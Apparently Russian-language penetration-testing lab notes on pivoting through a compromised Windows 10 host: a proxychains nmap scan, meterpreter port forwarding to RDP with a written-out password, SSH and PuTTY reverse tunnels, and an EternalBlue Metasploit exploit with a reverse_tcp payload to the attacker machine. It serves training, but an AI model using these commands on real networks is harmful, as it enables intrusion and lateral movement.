ETC: 06:24 (1:03:15 remaining) На роутере эта активность проявлятеся странно. На схеме этот роутер является cloud'ом. Множество подключений со стороны атакующего из интернета (10.0.0.16) до внутренних узлов, но почему-то по 80му порту. ![](https://i.imgur.com/FSyxZyZ.png) Для сокращения времени сканирования, мы можем уменьшить скоп. Согласно предварительного arp сканирования мы имеем узлы с адресацией +-.100. Соратим наш скоп и выполним следующую команду ```` ┌──(root💀kali)-[/home/user] └─# proxychains nmap -sT -Pn -v -p445 192.168.1.96/28 -open ```` Получили результат ``` Completed Connect Scan at 06:45, 211.08s elapsed (16 total ports) Nmap scan report for 192.168.1.101 Host is up (0.62s latency). PORT STATE SERVICE 445/tcp open microsoft-ds Nmap scan report for 192.168.1.102 Host is up (0.11s latency). PORT STATE SERVICE 445/tcp open microsoft-ds Read data files from: /usr/bin/../share/nmap Nmap done: 16 IP addresses (16 hosts up) scanned in 237.39 seconds ``` можем проверить уязвимости найденных узлов https://securitytrails.com/blog/nmap-vulnerability-scan ##### openVAS через прокси. Пока не точно, но возможно можно настроить прокси для openVAS. https://marc.info/?l=openvas-development&m=130032986001037 похоже что нет ### Проброс портов Возвращаемся обратно в нашу сессию ``` msf6 auxiliary(server/socks_proxy) > sessions Active sessions =============== Id Name Type Information Connection -- ---- ---- ----------- ---------- 1 meterpreter x86/windows DESKTOP-W10\user @ DESKTOP-W10 10.0.0.16:443 -> 10.0.0.17:51696 (192.168.1.102) msf6 auxiliary(server/socks_proxy) > sessions 1 [*] Starting interaction with 1... ``` Настраиваем форвард необходимого порта. В нашем случае мы на **локальном** будем слушать порт **4389** и форвардить обращения к нему до **удаленого** узла 192.168.1.101 и его порта **3389 ``` meterpreter > portfwd add -L 10.0.0.16 -l 4389 -p 3389 -r 192.168.1.101 [*] Local TCP relay created: 10.0.0.16:3389 <-> 192.168.1.101:3389 ``` В другом окне терминала запускаем подключение утилиты ```xfreerdp``` к **атакующей** машине по порту **4389**. xfreerdp /u:user /p:poilAsd1299! /v:10.0.0.16:4389 Если все хорошо жмем **Y** ![](https://i.imgur.com/E58cM1S.png) и подключаемся к удленному рабочему столу. ![](https://i.imgur.com/pRJhp4W.png) #### ssh на windows 10 Начиная с ++Windows 10 (1709)++ в системе может быть [установлен ssh](https://www.howtogeek.com/336775/how-to-enable-and-use-windows-10s-built-in-ssh-commands/), в таком случае все еще проще, достаточно выполнить на атакуемой машине ```ssh -R 5389:192.168.1.101:3389 user@10.0.0.16``` Этой командой мы связываем порт 5389 на сервере 10.0.0.16 с портом 3389 на одном из компов(192.168.1.101) в сети атакуемой машины. :::info ключи используемые **клиентами** ```ssh/putty``` для проброса портов -L (local) и -R (remote) при потключение к **серверу** ssh. Подключаясь надо помнить что ==подключение всегда происходит от клиента к серверу== и исходя из этого надо понимать ключи >если упростить, то эти ключи говорят [color=red] -L - я буду слушать, ты давай делай -R - ты будешь слушать, я буду делать ssh -L 0.0.0.0:9999:host_name:7777 user@ssh_inside_org параметр 0.0.0.0:9999:host_name:7777 разделяется на две части и host_name:7777 в зависимости от ключа, первая часть ```0.0.0.0:9999``` будет выполнена - локально -L я буду слушать 0.0.0.0:9999 - удаленно -R ты давай слушай 0.0.0.0:9999 а вторая ```host_name:7777``` опять же в зависимости от ключа - удаленно -L ты давай делай host_name:7777 - локально -R я буду делать host_name:7777 и закрепим >[color=red] -L - я буду слушать, ты давай делай -R - ты будешь слушать, я буду делать клиент при подключение к удаленному серверу ssh_inside_org получает свою часть ```0.0.0.0:9999```, и знает будет слушать на своем ip адресе, в нашем случае это маска 0.0.0.0 и порту 7777 обращения и передвать их ssh -R 0.0.0.0:9999:host_name:7777 user@ssh_outside_org ::: #### putty Если версия виндос более древняя и **ssh на компе не установлен**, то можно использовать **putty** :::spoiler Тунель в PuTTy можно сделаеть так: Идем по дереву настроек: Connection → SSH → Tunnels. Далее в поле «Source port» вбиваем 9999, в «Destination» — localhost:5432, и нажимаем Add. Не забываем после этого сохранить настройки сессии, если требуется. ![](https://i.imgur.com/lGaLeHk.png) ::: :::spoiler также это возможно выполнить из командной строки The answers above mention two different ways of resolving the problem: using plink using putty GUI I don't have plink and I can't download the plink.exe file (it is a closely monitored restricted environment) so used a different way to script the solution with a one-line script: start putty -ssh myusername@myLinuxBox -pw my_pw -L 2000:localhost:2000 Store this in a batch file (file extension ".bat", e.g. "tunnel.bat"). So every time you double-click on this file the command is run and putty creates the ssh tunnel. If you want more tunnels just repeat this part -L 2000:localhost:2000 by changing the ports accordingly. [источник](https://stackoverflow.com/a/56903024) ::: ``` putty -ssh user@10.0.0.16 -pw polAsd1299! -L 2000:localhost:22 ``` в результате мы получили тунель и его открытое окно putty(слева) и окно с подключением к localhost по порту 2000(справа), которое перенаправленно атакующую машину(10.0.0.16) на порт 22. ![](https://i.imgur.com/qTla2qo.png) ### Атака на Windows 7 через revers-ssh remoute port forwarding (EternalBlue) #### Подготовка Выполним remoute TCP forwarding на Windows 10 ```ssh -R 4445:192.168.1.102:445 root@10.0.0.16``` ![](https://i.imgur.com/Vd7vlaC.png) Для проверки активности порта можем посмотреть на Kali ```ss -tunlp``` ![](https://i.imgur.com/Nvg3c6v.png) #### Выполним атаку EternalBlue Запустим на Kali Linux msfconsole: ```msfconsole``` Найдем подходящий эксплойт для EternalBlue ```msf6> search eternal``` Выберем необходимый эксплойт и зададим параметры для атаки ``` msf6> use 3 msf6> set payload windows/x64/meterpreter/reverse_tcp msf6> show options msf6> set lhost 10.0.0.16 msf6> set rhost 127.0.0.1 msf6> set rport 4445 msf6> run ``` Атака прошла успешно, мы получили shell на windows 7 ## ДЗ проэксплуатировать уязвимую версию google chrome (создать нагрузку в виде html страницы с реверс подключением)